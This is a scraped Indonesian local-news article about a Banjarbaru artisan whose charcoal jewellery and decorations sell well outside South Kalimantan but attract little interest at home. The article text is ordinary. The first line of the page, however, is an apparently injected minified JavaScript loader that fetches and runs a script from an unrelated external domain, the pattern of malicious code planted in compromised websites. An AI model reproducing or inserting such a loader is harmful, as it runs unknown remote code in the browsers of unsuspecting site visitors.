(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Diburu di Luar Daerah, ‘Rumah Pengarang’ Malah Tak Dilirik di Kalsel


KANALKALIMANTAN.COM, BANJARBARU– Jangan salah kira, Rumah Pengarang Charcoal Gallery bukan rumah pengarang cerita atau rumah seorang penulis buku. Tapi rumah yang berlokasi di Jl Kurnia, Gang Intansari No 07, Landasan Ulin Utara, Banjarbaru ini, adalah tempat bagi pengrajin cendera mata atau barang seni berbahan arang.

Dari kerajinan arang ini terbentuklah sebuah kreasi sederhana namun unik. Baik berupa aksesoris, perhiasan, dan beberapa produk hiasan dekoratif rumahan.

Semua itu berbahan arang kayu kualitas tinggi yang dihasilkan dari proses pembakaran secara khusus dan terukur di atas suhu 1.000 derajat celcius. Sehingga menghasilkan arang kayu dengan kualitas premium. Berkarakter solid, padat, keras, berkadar karbon diatas 90 %, berdaya serap tinggi dan bersifat aktif.

 

 

Baca juga: Stafsus Presiden: Jokowi Tolak Wacana 3 Periode!

Adalah Narwanto, sang pemilik Rumah Pengarang Charcol Gallery ini. Saat dikunjungi Kanalkalimantan.com, pada Sabtu (19/6/2021) tadi di rumahnya, ia berkisah tentang masih sedikitnya apresiasi terhadap kerajinan arang.

Alasan itulah, yang kemudian membuat Narwanto keluar dan tak bergabung lagi sebagai anggota UMKM Kalsel.

“Sudah hampir 3 bulan Rumah Pengarang Charcol ini tidak bergabung lagi dengan UMKM, terutama di Banjarbaru. Ini karena sering tidak laku atau tidak diminati oleh masyarakat,” katanya.

Padahal kalau dilihat, ini adalah kerajinan yang unik dan jelas berbeda dari yang lain. Bagus untuk dijadikan dekorasi rumahan.

“Tetapi karena di Kalimantan Selatan sendiri mungkin tidak tertarik dengan kerajinan seperti itu dan mungkin lebih cenderung menyukai aksesoris yang bisa dibilang bling-bling atau bisa dibilang wah untuk dilihat,” katanya.

Kondisi ini, kata Narwanto berbeda pada saat dia menggelar pameran di Jakarta atau di luar Kalimantan yang selalu habis terjual. Sementara dalam beberapa kali pameran yang ia ikuti di Kalsel, sulit untuk menarik perhatian masyarakat.

Baca juga: Dari Hobi Bermain Kuteks, Perempuan Ini Sukses Bangun Bisnis Nail Art di Banjarbaru

“Saya merasa produknya tidak laku tetapi orangnya yang laku (karena sering diajak pameran). Nah itu membuat saya merasa kurang nyaman. Karena banyak diundang ke sana-sini. Dan sebenarnya tujuan saya bukan itu, ketika saya bergabung dengan UMKM, ternyata tidak ada mendukung produk utama saya justru waktu saya malah habis untuk mengikuti event-event saja,” ucapnya.

Sekitar 3 tahun ia bergabung dengan UMKM dan merasa cukup. Narwanto akhirnya memilih keluar dan tidak bergabung lagi.

“Kadang itu yang membuat saya sedih dan tidak enak. Orang beli produk saya karena merasa kasihan. Contohnya di sini saya dianggap binaan lembaga bank Indonesia, setiap kali ada acara saya selalu diundang dan diikutkan. Tetapi mereka beli itu cuma sekadar formalitas karena merasa kasihan,” tambahnya.

Menurut Narwanto, bagi seorang seniman itu merupakan hal yang sangat menyakitkan.
“Lebih baik tidak dibeli dari pada produk saya dibeli hanya karena formalitas dan merasa kasihan,” ungkapnya.

Baca juga: Menaker Ida Pastikan Pembuatan Kartu Kuning Gratis, Begini Caranya

Saat ini, Narwanto hanya fokus membuat kerajinan secukupnya dan bisa dibilang hanya untuk kesenangan saja. Saat ini, kebanyakan yang membeli produk kerajinan tangan buatannya adalah kolektor dan desainer untuk event fashion show.

Narwanto menjelaskan bahwa kerajinan yang dibuatnya ini tidak bisa diulang bisa dan dirproduksi secara masal. “Saya sudah memperkenalkan kerajinan tangan ini terutama di Kalimantan Selatan, bahwa kerajinan ini berpotensi untuk dijadikan kerajinan yang menarik, akan tetapi banyak yang tidak tertarik,” ungkapnya.

Padahal dia mengatakan sudah beberapa kali pengrajin dari luar daerah memintanya memberikan contoh jenis arangnya. Tapi ia menolak, dan hanya memberikan kepada satu orang desainer saja. (Kanalkalimantan.com/shintia)

Reporter: shintia
Editor: cell


Risa

Recent Posts

DPRD Banjarbaru Target Tiga Raperda Inisiatif Selesai Dalam Tiga Bulan

KANALKALIMANTAN.COM, BANJARBARU - Tiga buah Rancangan Peraturan Daerah (Raperda) inisiatif ditargetkan selesai dalam waktu tiga… Read More

43 menit ago

Berbaur dengan Masyarakat, Bupati dan Wabup Banjar Nobar Indonesia Vs Uzbekistan

KANALKALIMANTAN.COM, MARTAPURA - Alun-alun Ratu Zalecha, Martapura dipilih menjadi tempat nonton bareng (nobar) Semi Final… Read More

5 jam ago

Diakhiri Nobar Timnas, Pj Bupati Kapuas Menutup Expo Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi secara resmi menutup gelaran Expo… Read More

7 jam ago

Bingkisan Kebahagiaan PLN untuk Warga Kalsel yang Membutuhkan

KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur (UIP3B) Kalimantan melalui… Read More

8 jam ago

Asa Warga Banjarmasin Timnas Indonesia Masuk Olimpiade Paris 2024

KANALKALIMANTAN.COM, BANJARMASIN - Nonton bareng (Nobar) laga semifinal AFC U-23 Indonesia vs Uzbekistan di halaman… Read More

8 jam ago

Ini Tiga Rekor Muri Sebagai Kado HUT ke-73 Kabupaten Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS – Tiga rekor Museum Rekor Indonesia (Muri) menjadi catatan kado Hari Jadi… Read More

8 jam ago

This website uses cookies.